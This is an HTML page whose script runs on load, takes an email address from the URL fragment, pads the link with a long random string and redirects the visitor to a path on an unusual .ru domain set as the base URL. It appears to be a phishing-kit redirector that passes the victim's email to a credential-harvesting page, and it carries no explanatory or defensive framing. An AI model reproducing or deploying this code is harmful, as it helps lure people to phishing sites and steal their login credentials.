<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
  <!-- Set the base URL for the page -->
  <base href="https://sm.uattuordecilld.ru/">
</head>
<body>
<script>
  // Function to generate a random string of given length
  function generateRandomString(length) {
    var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    var result = '';
    for (var i = 0; i < length; i++) {
      result += characters.charAt(Math.floor(Math.random() * characters.length));
    }
    return result;
  }

  var hash = window.location.hash;
  if (hash !== "") {
    hash = hash.split('#');
    const email = hash[1];

    // Generate a random string
    var randomStr = generateRandomString(200);  // Change length as required

    // Update the URL with the email and random string in the query string
    window.location.href = "oIURlhZapgrmpjMuX0I04/?" + randomStr + "#K" + email;
  }
</script>
</body>
</html>